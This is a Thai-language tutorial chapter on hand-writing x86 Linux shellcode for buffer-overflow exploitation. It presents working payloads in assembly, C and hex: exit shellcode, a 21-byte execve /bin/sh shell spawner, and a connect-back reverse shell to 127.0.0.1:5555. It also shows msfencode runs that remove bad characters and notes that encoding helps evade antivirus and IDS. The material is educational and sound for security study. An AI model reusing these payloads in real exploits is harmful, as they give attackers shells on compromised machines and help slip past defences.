\x31\xc0\x31\xdb\xb0\x01\xcd\x80
...
$ objdump -d ex_07_3.o
...
00000000 <_start>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 db                   xor    %ebx,%ebx
   4:   b0 01                   mov    $0x1,%al
   6:   cd 80                   int    $0x80

จะเห็นว่า exit shellcode ใหม่ของเรานั้นไม่มี \x00 และมีขนาด 8 bytes แต่ถ้าเราไม่สนใจ exit code คือค่า ebx เป็นอะไรก็ได้ เราก็สามารถที่จะเอาคำสั่ง xor ebx ออกได้ ก็จะได้ shellcode ขนาด 6 bytes

Bad Characters (badchars)

badchars คือตัวอักษรที่ใช้ไม่ได้ใน payload ซึ่งส่วนมากจะมีอยู่ 2 สาเหตุคือใส่ไปแล้วจะทำให้โปรแกรมรับข้อมูลเราได้ไม่หมด กับโดนเปลี่ยนเป็นตัวอักษรอื่น เช่นถ้า code มีปัญหาที่ str*() ใน payload ของเราจะไม่สามารถที่จะใช้ตัวอักษร \x00 ได้ ตัวอักษร \x00 ก็จะเป็น badchar

สำหรับตัวอย่างและโจทย์ที่ผมให้ เราสามารถรู้ badchars จาก code แต่โดยปกติวิธีการหา badchars ในโปรแกรมใหญ่ๆ และโปรแกรมที่ไม่มี source code จะทำโดยจากส่งค่าตั้งแต่ 0x00 ถึง 0xff แล้วทำการเปรียบเทียบกับค่าใน memory หลังจากที่โปรแกรมรับข้อมูลไปแล้ว

ในหัวข้อนี้ เวลาเขียน shellcode ผมจะสมมติว่า badchar คือ \x00 ตัวเดียว ยกเว้นผมจะระบุไว้ และเราจะทำการหลีกเลี่ยง badchars แบบ manual ด้วยวิธีการเปลี่ยนคำสั่ง assembly แต่การทำงานยังเหมือนเดิม สำหรับหัวข้อหลังๆ ที่ต้องใช้ payload ที่มีความซับซ้อนมากขึ้น ผมจะใช้ msfpayload กับ msfencode เพื่อสร้าง shellcode และหลีกเลี่ยง badchars

ตัวอย่างสำหรับการใช้ msfencode เพื่อเลี่ยง badchars โดยสมมติว่า badchar คือ \x00 กับ \xc0 เราสามารถทำได้ดังนี้

$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' | msfencode -b '\x00\xc0' -t c
[*] x86/shikata_ga_nai succeeded with size 36 (iteration=1)

unsigned char buf[] =
"\xdd\xc1\xb8\xfa\x64\xfa\x88\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x03\x83\xc2\x04\x31\x42\x13\x03\xb8\x77\x18\x7d\x0d\xb8\xed"
"\xa5\xdd\x39\xc3\xda";

จะเห็นว่า shellcode ใหม่นั้น ไม่มีตัวอักษร \x00 กับ \xc0 และถ้าลองเอาไปทดสอบ จะเห็นว่าได้ผลเหมือนเดิม ซึ่งประโยชน์ของ encoder นอกจากใช้หลีกเลี่ยง badchars แล้วยังสามารถช่วย bypass AV กับ IDS ได้ เพราะการทำงานของ encoder จะคล้ายๆ กับการทำงานของพวก protector/packer

Shellcode สำหรับ Spawning Shell

คราวนี้ก็มาถึง shellcode ที่ผมเคยให้ไป แต่เพื่อไม่ให้ยาว ผมไม่เขียนภาษา C ให้ดูนะครับ argument ของ execve system call จะตรงกับ execve ใน libc ทั้งหมด โดยเป้าหมายแรกที่เราต้องการคือ ให้ shellcode รันเหมือนกับคำสั่ง execve("/bin/sh", { "/bin/sh", 0}, 0) ซึ่งต้องมีกำหนดค่า register ต่อไปนี้
- eax เป็น 0xb (system call number)
- ebx (argument ที่ 1) เป็น address ของ "/bin/sh"
- ecx (argument ที่ 2) เป็น address ของ { "/bin/sh", 0 }
- edx (argument ที่ 3) เป็น 0

ถ้าใครลองเขียนเอง จะเห็นความแตกต่างจาก exit shellcode คือ execve ต้องการ string "/bin/sh" และต้องการ array of pointers ที่ชี้ไป string "/bin/sh" กับ NULL วิธีหนึ่งคือนำ string ไปต่อท้าย shellcode แต่ปัญหาต่อไป คือเราจะรู้ address ของ string เราได้ยังไง

โดยปกติ เพื่อให้โปรแกรม run shellcode ของเรา เราจะต้อง overflow เพื่อเปลี่ยน eip ชี้ไปยัง shellcode ของเรา และยังจำได้มั้ยครับว่าคำสั่ง call ใน assembly เปรียบเสมือน "push eip" แล้ว "jmp addr" ดังนั้นถ้าเราใช้ call หลังจากที่ eip ชี้ไปที่ shellcode ของเรา ใน stack ก็จะมีค่า address ของหลังคำสั่ง call ทำให้เราสามารถเอาค่าออกมาได้จาก stack ด้วยคำสั่ง pop ซึ่งจะได้ assembly คร่าวๆ คือ

jmp  binsh  # กระโดดไปส่วนของ string ก่อน เพื่อหา address

shellcode:
pop %ebx    # pop เอา address ของ "/bin/sh" ไว้ใน ebx (ค่า ebx เป็นที่เราต้องการแล้ว)
# ... กำหนดค่าต่างๆ ของ registers

binsh:
call shellcode   # เพื่อ push eip ลงใน stack
.asciz "/bin/sh"  # string "/bin/sh" ไว้หลัง call เพื่่อให้ saved eip ชี้มาที่ address นี้พอดี

ได้ argument แรกแล้ว ต่อไป argument ที่ 2 คือ array of pointers ที่ชี้ไป { "/bin/sh", 0 } (ดูรูปประกอบ) วิธีหนึ่งคือสร้างต่อท้ายหลัง string "/bin/sh" โดย 4 bytes แรกจะเก็บ address ของ "/bin/sh" และ 4 bytes ถัดไปเก็บค่า 0 ทำให้ได้ assembly ตามนี้ (ex_07_4.s)

.data
.text

.globl _start

_start:

# execve("/bin/sh", {"/bin/sh",0}, 0)
jmp  binsh

shellcode:
pop  %ebx
xorl %eax,%eax      # set eax เป็น 0 ก่อน เพื่อนำค่า 0 ไปใช้
movb %al,0x7(%ebx)  # ให้แน่ใจว่า string "/bin/sh" ลงท้ายด้วย NULL
leal 0x8(%ebx),%ecx # กำหนดค่า ecx (arg2) ไว้ที่หลัง string "/bin/sh"
movl %ebx,(%ecx)    # ใส่ address ของ "/bin/sh" ไว้ใน array
movl %eax,0x4(%ecx) # ใส่ 0 ไว้ใน array
xorl %edx, %edx     # set edx เป็น 0 (arg 3)
movb $0xb,%al       # ใส่ system call number
int  $0x80

binsh:
call shellcode
.asciz "/bin/sh"

เมื่อเราลอง compile และทดสอบดูจะได้ผลตามที่เราต้องการ ถ้าดูขนาดจะเห็นว่า shellcode นี้มีขนาด 34 bytes แต่ขนาดของ shellcode ที่ผมเคยให้ไว้มีขนาดเพียงแค่ 24 bytes ซึ่งใช้วิธีการสร้าง string โดย push ลงใน stack และใช้ stack ในการสร้าง array of pointers (ดูรูปข้างล่างประกอบ) แต่การ push ลง stack จะต้องทำทีละ 4 bytes และเพื่อจะให้ไม่มี \x00 เราจะใช้ "//bin/sh" แทนเพื่อให้มีขนาด 8 bytes และได้ผลเหมือนเดิม โดยเขียนเป็น assembly ได้ดังนี้ (ex_07_5.s)

.data
.text

.globl _start

_start:

# execve("//bin/sh", {"//bin/sh",0}, 0)
xorl %eax,%eax   # set eax เป็น 0
push %eax        # ใส่ NULL for "//bin/sh"
push $0x68732f6e # n/sh
push $0x69622f2f # //bi
movl %esp,%ebx   # set ebx ให้เป็น address ของ "/bin/sh" (top of stack)
#xorl %edx,%edx   # set edx เป็น 0 (ใช้ 2 bytes)
cltd # อีกวิธีในการ set edx เป็น 0 โดยใช้ 1 bytes ใช้คำสั่งนี้ได้เพราะ eax เป็น 0 (สำหรับ nasm ต้องใช้ cdq)
push %edx        # ใส่ NULL สำหรับ array of pointers ตัวที่สอง
push %ebx        # ใส่ address ของ "/bin/sh" สำหรับ array of pointers ตัวแรก
movl %esp,%ecx   # กำหนด ecx ให้เป็น address ของ array of pointers (top of stack)
movb $0xb,%al    # กำหนด execve system call
int  $0x80

ถ้าใครทำ "Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)" จะเห็นว่าผมได้ให้ shellcode อีกอันหนึ่ง ที่ไม่มี badchar 0x0b เพื่อให้ scanf() function สามารถรับ input ได้หมด ถ้าเราลองใช้ objdump ดูจะเห็นว่าคำสั่งที่มีปัญหาคือ "movb $0xb,%al" โดยวิธีที่ผมเลี่ยงการใช้ 0x0b คือใส่ค่า 0x7b เข้าไปก่อน แล้ว xor กับ 0x70 ตามนี้ (แสดงเฉพาะที่แก้นะครับ)

movb $0x7b,%al
xorb $0x70,%al

ก่อนจะจบ shellcode นี้ เรามาทำให้มันเล็กลงกันก่อนดีกว่า ถ้าเราอ่าน man จะได้ว่า argument ตัวที่ 2 ของ execve คือข้อมูลที่จะส่งผ่านไปที่โปรแกรมใหม่ โดยจะเป็น argv แสดงว่าถึงแม้ว่าเราใส่ค่าอื่นไป โปรแกรมใหม่ก็จะยังเป็น /bin/sh เพียงแค่ argv จะเปลี่ยนไป ดังนั้นเราสามารถสั่งเพียง execve("/bin//sh", 0, 0) ก็ได้ การทำงานยังคงเหมือนเดิม (แต่ถ้าใช้ ps ดู จะเห็นชื่อเปลี่ยนไป) และเมื่อเขียน assembly ใหม่ จะได้เป็น (ex_07_6.s)

.data
.text

.globl _start

_start:

# execve("/bin//sh", 0, 0)
xorl %ecx,%ecx   # set ecx เป็น 0
push %ecx        # NULL สำหรับ "/bin//sh"
push $0x68732f2f # //sh
push $0x6e69622f # /bin
movl %esp,%ebx   # set ebx เป็น address ของ "/bin//sh" (top of stack)
leal 0xb(%ecx),%eax # ใช้ lea แทน xorl แล้ว movb จะประหยัดได้ 1 byte
cltd             # set edx เป็น 0
int  $0x80

เมื่อ compile code นี้ เราจะได้ shellcode สำหรับ spawning shell ขนาด 21 bytes

Shellcode สำหรับ Connect Back Shell

มาถึง shellcode ตัวสุดท้ายที่เราจะมาเขียนกัน คือ reverse shell โดยจะเขียนสำหรับ IPv4 เท่านั้น และให้ต่อกลับมาที่ 127.0.0.1:5555

ก่อนจะเริ่มเขียน assembly เรามาดู code ที่เขียนด้วยภาษา C กันก่อน (ex_07_7.c) เพื่อจะได้เข้าใจว่าจะต้องมีการเรียกคำสั่งอะไรบ้าง

/*
gcc -static -o ex_07_7 ex_07_7.c
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv)
{
    int sk;
    struct sockaddr_in sk_addr;

    sk = socket(PF_INET, SOCK_STREAM, 0);
    if (sk == -1)
        return 1;

    memset(&sk_addr, 0, sizeof(sk_addr));
    sk_addr.sin_family = AF_INET;
    sk_addr.sin_port = 0xb315;  // htons(5555)
    sk_addr.sin_addr.s_addr = 0x0100007f; // inet_addr("127.0.0.1")

    if (connect(sk, (struct sockaddr *)&sk_addr, sizeof(struct sockaddr)) == -1)
        return 1;

    dup2(sk, 0);
    dup2(sk, 1);
    dup2(sk, 2);

    execve("/bin/sh", 0, 0);
}

สำหรับคนที่ไม่เคยเขียนพวก socket (น่าจะงง) ผมขออธิบายสั้นๆ ละกัน ในบรรทัดที่ 15 ใช้สำหรับสร้าง socket ขึ้น สำหรับ Linux socket ที่ได้จะเป็น file descriptor อันหนึ่ง เหมือนพวก stdin, stdout แต่สามารถนำไปใช้ใน function ที่เกี่ยวกับ network ได้ ต่อมาบรรทัดที่ 19-22 คือเตรียม parameter สำหรับ connect() function ว่าจะต่อไปที่ IP ไหน port อะไร ให้สังเกตว่า network byte order ของค่าที่เป็นตัวเลขจะเป็น big endian เช่น port 5555 จะมีค่าเป็น 0x15b3 แต่เก็บใน memory ของ x86 เป็น 0xb315 ดังนั้นเราต้องใส่ 0xb315 เพื่อให้เก็บใน memory เป็น 0x15b3 หลังจากนั้นบรรทัดที่ 24 คือเชื่อมต่อไปที่ 127.0.0.1:5555 และเมื่อต่อได้แล้ว บรรทัดที่ 27-29 คือเปลี่ยน stdin, stdout, stderr ใช้เป็น file descriptor ของ socket และสุดท้ายบรรทัดที่ 31 ทำการเปลี่ยน process ด้วย execve เป็น /bin/sh ซึ่ง file descriptor ยังคงเดิม ทำให้เวลา shell รับคำสั่ง จะรับจากที่เราส่งข้อมูลไป และเวลาแสดงผลก็จะเป็นส่งข้อมูลมาหาเรา

หลังจาก compile ถ้าต้องการทดสอบ ต้องเปิดอีก terminal หนึ่ง แล้วพิมพ์คำสั่ง "nc -nvvl 5555" หลังจากนั้นค่อยรันโปรแกรมที่ compile แล้ว เมื่อเชื่อมต่อแล้ว เราสามารถพิมพ์คำสั่งจาก terminal ที่รัน nc ไว้ แต่จะไม่เห็น shell prompt

เมื่อทดสอบเห็นว่าโปรแกรมทำงานได้แล้ว ก็มาดูกันว่าโปรแกรมนี้ใช้ system call อะไรบ้างที่จำเป็นต่อการเชื่อมต่อ

$ strace -v ./ex_07_7
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", [0], [0])             = 0
...

ถ้าเรามาลองไล่ดู system call number จะเจอเพียงแค่ dup2 กับ execve แต่จะหา socket กับ connect ไม่เจอ ซึ่งวิธีที่ทำรู้วิธีเรียก (ถ้าจะทำเอง) คือ อ่าน Linux code หรือไล่ assembly ดูว่า libc เรียกได้อย่างไร แต่เพื่อจะได้ไม่ยาวเกินผมเขียนวิธีเรียก system call ที่เกี่ยวกับ socket เลยละกัน

วิธีการใช้ system call สำหรับ socket นั้นจะใช้ __NR_socketcall หมายเลข 102 (0x66) โดยใส่ไว้ที่ eax และจะมี argument แค่ 2 ตัวเท่านั้น โดย ebx ระบุว่าจะใช้ socket command ไหน ซึ่งสามารถดูได้จากไฟล์ /usr/include/linux/net.h (ผมเอาเฉพาะที่ใช้มาแสดงไว้ข้างล่าง)

// from /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */

ส่วน ecx คือ array ของ argument โดย argument ที่ใช้นั้น จะเป็นไปตาม argument ของ libc เลย ถ้าเราลอง debug โปรแกรมดูใน socket() function จะพบว่า

$ gdb -q ./ex_07_7
Reading symbols from /home/worawit/tutz/ch07/ex_07_7...(no debugging symbols found)...done.
(gdb) b socket
Breakpoint 1 at 0x8050750
(gdb) r
Starting program: /home/worawit/tutz/ch07/ex_07_7

Breakpoint 1, 0x08050750 in socket ()
(gdb) disass
Dump of assembler code for function socket:
=> 0x08050750 <+0>:     mov    %ebx,%edx  # edx ไม่เกี่ยว แค่เก็บค่า ebx ไว้ใน edx ก่อน
   0x08050752 <+2>:     mov    $0x66,%eax # ใช้ socketcall
   0x08050757 <+7>:     mov    $0x1,%ebx  # กำหนด ebx เป็น 1 คือ SYS_SOCKET
   0x0805075c <+12>:    lea    0x4(%esp),%ecx  # โหลด address ของ arguments ไว้ที่ ecx
   0x08050760 <+16>:    int    $0x80
   0x08050762 <+18>:    mov    %edx,%ebx  # restore ค่า ebx
   0x08050764 <+20>:    cmp    $0xffffff83,%eax
   0x08050767 <+23>:    jae    0x8051aa0 <__syscall_error>
   0x0805076d <+29>:    ret
End of assembler dump.
(gdb) x/4x $esp+4   # ลองดูค่า arguments ต่างๆ
0xbffff6e0:     0x00000002      0x00000001      0x00000000      0x08048a42

และถ้าเราหาค่าที่ถูก define ไว้ใน header files ด้วยคำสั่ง grep

# working directory คือ /usr/include
$ grep -wR PF_INET *
bits/socket.h:#define   PF_INET         2       /* IP protocol family.  */
bits/socket.h:#define   AF_INET         PF_INET
$ grep -wR SOCK_STREAM *
bits/socket.h:  SOCK_STREAM = 1,                /* Sequenced, reliable, connection-based
...
$ grep -wR IPPROTO_IP *
linux/in.h:  IPPROTO_IP = 0,            /* Dummy protocol for TCP              */
...

จะเห็นว่าค่าที่หาได้ ตรงกับ argument ที่เราดูด้วย gdb คือ PF_INET เป็น 2, SOCK_STREAM เป็น 1 และ IPPROTO_IP เป็น 0

และข้อมูลที่สำคัญสำหรับ connect คือโครงสร้างข้อมูลของ struct sockaddr กับ struct sockaddr_in สำหรับ IPv4 โดยผมเอามาจาก http://www.retran.com/beej/sockaddr_inman.html

struct sockaddr {
    unsigned short    sa_family;    // address family, AF_xxx
    char              sa_data[14];  // 14 bytes of protocol address
};

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

เมื่อเรารู้วิธีการเรียก กับค่าต่างๆ ที่ต้องใส่ทั้งหมด ก็ถึงเวลาเขียน assembly กันแล้ว แต่คราวนี้ผมจะแสดงแบบที่สั้นที่สุดที่ผมคิดได้เลย และพวก \x00 ตรง IP กับ port ผมจะไม่สนใจนะครับ ซึ่งจะได้ assembly ดังนี้ (ex_07_8.s) (อาจจะเร็วไปนิด ค่อยๆ ไล่ และคิดตามนะครับ)

.data
.text

.globl _start

_start:

##################################
# socket(PF_INET /* 2 */, SOCK_STREAM /* 1 */, IPPROTO_IP /* 0 */)
xorl %ebx,%ebx # set ebx เป็น 0, ใช้ ebx เพราะเราต้องการให้มีค่าเป็น 1 และ argument ที่เราต้องใส่คือ 0,1,2 ตามลำดับ ทำให้เราสามารถใช้ ebx สำหรับ argument ขณะเพิ่มค่า ebx
leal 0x66(%ebx),%eax # set syscall number โดยใช้ lea จาก ebx
push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวสุดท้าย
inc  %ebx # เพิ่มค่า ebx ไป 1 จะได้ค่า ebx เป็นที่เราต้องการ
push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวที่สอง
push $0x2 # ใช้ push imm แทนเพราะ ebx เป็นค่าที่ถูกต้องแล้ว
movl %esp,%ecx # set ecx เป็น array of arguments
int  $0x80

xchg %eax,%ebx  # เก็บค่า socket fd ไว้ที่ ebx สำหรับ dup2 syscalls, ใช้ xchg แทน mov เพื่อประหยัดจำนวน byte
# ตอนนี้ eax มีค่าเป็น 1 ส่วน ebx เก็บ socket fd ไว้

###################################
# dup2() to replace stdin, stdout, stderr
# เอา dup2 มาทำตรงนี้ เพราะถ้าทำ connect ค่า socket fd ต้องไปเก็บที่ register ตัวอื่นก่อน
# ถ้าทำตรงนี้ ค่า ebx ไม่จำเป็นต้อง set เพราะจากคำสั่ง xchg ข้างบน
pop  %ecx  # ตอนนี้ top of stack คือ 2, เอามาใช้สำหรับ stderr
dup_loop:  # loop จาก 2..0 เพื่อประหยัดคำสั่ง
movb $0x3f, %al # กำหนด dup2 system call number
int  $0x80
dec  %ecx  # ลบค่า ecx เพื่อทำ stdout กับ stdin
jns  dup_loop # หยุดทำเมื่อ ecx เป็นลบ
# dup2 syscall จะ return หมายเลข fd ที่ถูก copy ไว้ใน eax
# ดังนั้น ถึงจุดนี้จะได้ค่า
# - eax เป็น 0
# - ebx เป็น socket fd
# - ecx เป็น -1 (0xffffffff)

####################################
# connect(sk, sockaddr, len)

# จากการทดสอบ connect syscall จะสนใจเฉพาะค่า sin_family, sin_port, sin_addr ใน struct sockaddr_in เท่านั้น
# ส่วนค่าใน sin_zero จะเป็นอะไรก็ได้
# และ len argument จะเป็นตัวเลขอะไรก็ได้ที่ >= 16
movb $0x66,%al # set system call number
# เตรียม sockaddr struct
# เพราะ sin_zero เป็นอะไรก็ได้ ทำให้สามารถใช้ค่าที่อยู่ใน stack อยู่แล้วได้
push $0x0100007f # push ค่า ip address (127.0.0.1) สำหรับ sin_addr
push $0xb3150002 # push ค่า port (5555) สำหรับ sin_port และค่า AF_INET (2) สำหรับ sin_family
# สำหรับคนที่ต้องการให้ไม่มี \x00 จากคำสั่ง push ข้างบน วิธีหนึ่ง (แต่ทำได้ไม่ทุกกรณี) คือใช้ xor กับ ecx (ข้างล่าง ถ้าต้องการลองก็เอา comment ออก)
#push %ecx
#xorl $0xfeffff80,(%esp)
#xorl $0x4ceafffd,%ecx
#push %ecx
movl %esp, %ecx # กำหนดค่า ecx เป็น address ของ sockaddr (top of stack)
# เตรียม array of arguments (ecx)
push %eax # ใช้ eax (0x66) สำหรับ len เนื่องจากมากกว่า 16
push %ecx # address ของ sockaddr
push %ebx # socket fd (จริงแล้วจะใช้ค่า 0,1,2 ก็ได้เพราะเราได้สั่ง dup2() ไปแล้ว)
movl %esp,%ecx
#movb $0x03,%ebx # ถ้าเราใช้ movb อาจจะไม่ได้ทุกกรณี เพราะ fd ที่ได้จาก socket() อาจมีค่ามากกว่า 255
push $0x03
pop  %ebx  # ใช้ push แล้ว pop จะใช้ 3 bytes แต่ถ้าใช้ xor แล้ว movb จะใช้ 4 bytes
int  $0x80
# ถ้าต่อสำเร็จ eax จะเห็น 0
# Note: ไม่มีการตรวจสอบผลลัพธ์ของการ connect

###################################
# execve("/bin//sh", 0, 0)
cdq    # to make edx 0
push %edx
push $0x68732f2f
push $0x6e69622f
movl %esp, %ebx
xorl %ecx, %ecx
movb $0x0b, %al
int  $0x80

เมื่อ compile แล้วทดสอบจะได้ผลเหมือนกับที่เขียนด้วยภาษา C (ทดสอบเองนะครับ) สำหรับคนที่อยากฝึกเพิ่มเติม ก็แนะนำให้ลองเขียน setreuid() ดู

วิธี Disassemble Shellcode

ก่อนจะจบ ผมมีแถมให้ เพราะในหลายๆ ครั้งที่อาจจะต้องมีการวิเคราะห์การทำงานของ shellcode ที่ได้มา ดังนั้นเรามาดูคำสั่งการ disassemble shellcode ของ x86 โดยผมจะใช้ exit shellcode จากตัวอย่าง ex_07_3.s

วิธีแรก คือใช้คำสั่ง x86dis โดยคำสั่งนี้สามารถเลือก syntax ได้ ถ้าใครต้องการแบบ intel ก็เปลี่ยนจาก att เป็น intel

$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' | x86dis -e 0 -s att
00000000 31 C0                          xor     %eax, %eax
00000002 31 DB                          xor     %ebx, %ebx
00000004 B0 01                          mov     $0x01, %al
00000006 CD 80                          int     $0x80

วิธีที่สอง ใช้คำสั่ง objdump เนื่องด้วย objdump รับ input จาก stdin ไม่ได้ ดังนั้นจะต้องมีการเขียนลงไฟล์ก่อน

$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' > sc.bin.tmp && objdump -b binary -m i386 -D ./sc.bin.tmp && rm -f sc.bin.tmp
./sc.bin.tmp:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 db                   xor    %ebx,%ebx
   4:   b0 01                   mov    $0x1,%al
   6:   cd 80                   int    $0x80

วิธีที่สาม (สุดท้ายของผม) คือใช้คำสั่ง ndisasm

$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' > sc.bin.tmp && ndisasm -b 32 ./sc.bin.tmp && rm -f sc.bin.tmp
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  B001              mov al,0x1
00000006  CD80              int 0x80

Reference:
- The Shellcoder's Handbook: Discovering and Exploiting Security Holes